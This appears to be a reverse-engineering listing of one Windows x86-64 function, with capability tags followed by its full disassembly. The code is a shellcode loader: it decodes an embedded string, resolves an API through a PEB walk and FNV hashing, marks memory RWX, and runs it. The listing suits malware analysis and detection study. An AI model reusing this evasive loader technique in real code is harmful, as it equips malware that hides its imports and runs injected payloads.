Function at 0x140001100
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
stmxcsr dword [rsp + 0x30]
or dword [rsp + 0x30], 0x8040
ldmxcsr dword [rsp + 0x30]
mov dword [rsp + 0x34], 0
lea rsi, [0x14000b1b8]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdi, rax
test edi, edi
je 0x140001285
cmp qword [0x14000b1d8], 0x10
jb 0x140001157
mov rbx, qword [0x14000b1c0]
jmp 0x14000115e
lea rbx, [0x14000b1c0]
mov r14, qword [0x14000b1d0]
xor r15d, r15d
mov r12, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
xor r13d, r13d
jmp 0x14000121f
movsx edx, byte [rsp + 0x2c]
mov rcx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memchr
mov ecx, eax
sub ecx, ebx
xor r13d, r13d
cmp rax, 1
mov eax, 0
sbb eax, eax
or al, cl
mov byte [rsp + 0x2c], al
movsx edx, byte [rsp + 0x2d]
mov rcx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memchr
mov ecx, eax
sub ecx, ebx
cmp rax, 1
mov eax, 0
sbb eax, eax
or al, cl
mov byte [rsp + 0x2d], al
movsx edx, byte [rsp + 0x2e]
mov rcx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memchr
mov ecx, eax
sub ecx, ebx
cmp rax, 1
mov eax, 0
sbb eax, eax
or al, cl
mov byte [rsp + 0x2e], al
movsx edx, byte [rsp + 0x2f]
mov rcx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memchr
mov ecx, eax
sub ecx, ebx
cmp rax, 1
mov eax, 0
sbb eax, eax
or al, cl
mov byte [rsp + 0x2f], al
inc r15
cmp edi, r15d
je 0x140001261
movzx ebp, byte [r15 + rsi]
cmp ebp, 0x3d
je 0x140001261
mov ecx, ebp
call r12
test eax, eax
jne 0x14000123a
mov eax, ebp
and al, 0xfb
cmp al, 0x2b
jne 0x140001261
mov eax, r13d
inc r13d
mov byte [rsp + rax + 0x2c], bpl
cmp r13d, 4
jne 0x140001217
test r14, r14
jne 0x140001180
mov dword [rsp + 0x2c], 0xffffffff
xor r13d, r13d
jmp 0x140001217
lea eax, [r13 - 1]
cmp eax, 2
ja 0x140001285
mov eax, r13d
lea rcx, [rsp + rax]
add rcx, 0x2c
mov r8d, 4
sub r8d, r13d
xor edx, edx
call fcn.1400013b0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov r8d, dword [rax + rdx + 0x88]
test r8, r8
je 0x140001296
mov edx, dword [rax + r8 + 0x18]
lea r9, [rax + 1]
nop word [rax + rax]
sub rdx, 1
jb 0x140001296
mov r10d, dword [rax + r8 + 0x20]
add r10, rax
mov r10d, dword [r10 + rdx*4]
movzx r11d, byte [rax + r10]
test r11b, r11b
je 0x1400012c0
add r10, r9
mov esi, 0xba7767bb
nop word cs:[rax + rax]
movsx r11d, r11b
xor r11d, esi
imul esi, r11d, 0x1000193
movzx r11d, byte [r10]
inc r10
test r11b, r11b
jne 0x1400012f0
cmp esi, 0x510aed7f
jne 0x1400012c0
mov ecx, dword [rax + r8 + 0x1c]
mov r8d, dword [rax + r8 + 0x24]
add rcx, rax
add r8, rax
movzx edx, word [r8 + rdx*2]
mov r10d, dword [rcx + rdx*4]
add r10, rax
xor ecx, ecx
xor edx, edx
mov r8d, 0x3000
mov r9d, 4
call r10
mov rsi, rax
lea r9, [rsp + 0x34]
mov rcx, rax
xor edx, edx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x3b8642c7
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call rsi
mov rcx, rsi
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret